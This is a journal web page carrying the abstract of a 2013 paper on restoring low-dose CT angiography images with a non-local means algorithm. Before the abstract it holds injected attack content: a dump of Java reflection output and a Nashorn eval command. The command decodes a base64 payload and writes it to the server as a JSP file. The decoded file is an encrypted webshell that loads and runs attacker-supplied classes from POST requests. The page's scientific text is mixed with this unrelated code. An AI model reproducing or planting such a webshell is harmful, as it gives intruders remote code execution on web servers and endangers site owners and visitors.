public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2013, Vol. 33 ›› Issue (09): 1299-.

Previous Articles     Next Articles

Low-dose CT angiography image restoration using normal dose scan-induced non-local means algorithm

  

  • Online:2013-09-20 Published:2013-09-20

Abstract: Objective To minimize of the radiation dose of cardiovascular CT angiography (CTA) imaging while preserving the
image quality. Methods To reduce the radiation dose in CTA imaging, the normal-dose scan induced non-local means
(ndiNLM) algorithm was adapted for low-mAs scanned CTA image restoration by using the previous scanned high-quality
image. Results Qualitative and quantitative evaluations were carried out on both simulated phantom and clinical CTA scans
in terms of accuracy and resolution properties. Compared to the original NLM algorithm, the ndiNLM method could achieve
noticeable gains in terms of noise-induced artifacts suppression and enhanced structure preservation. Conclusion The
ndiNLM algorithm is a potential useful technique to reduce the radiation dose in CTAimaging.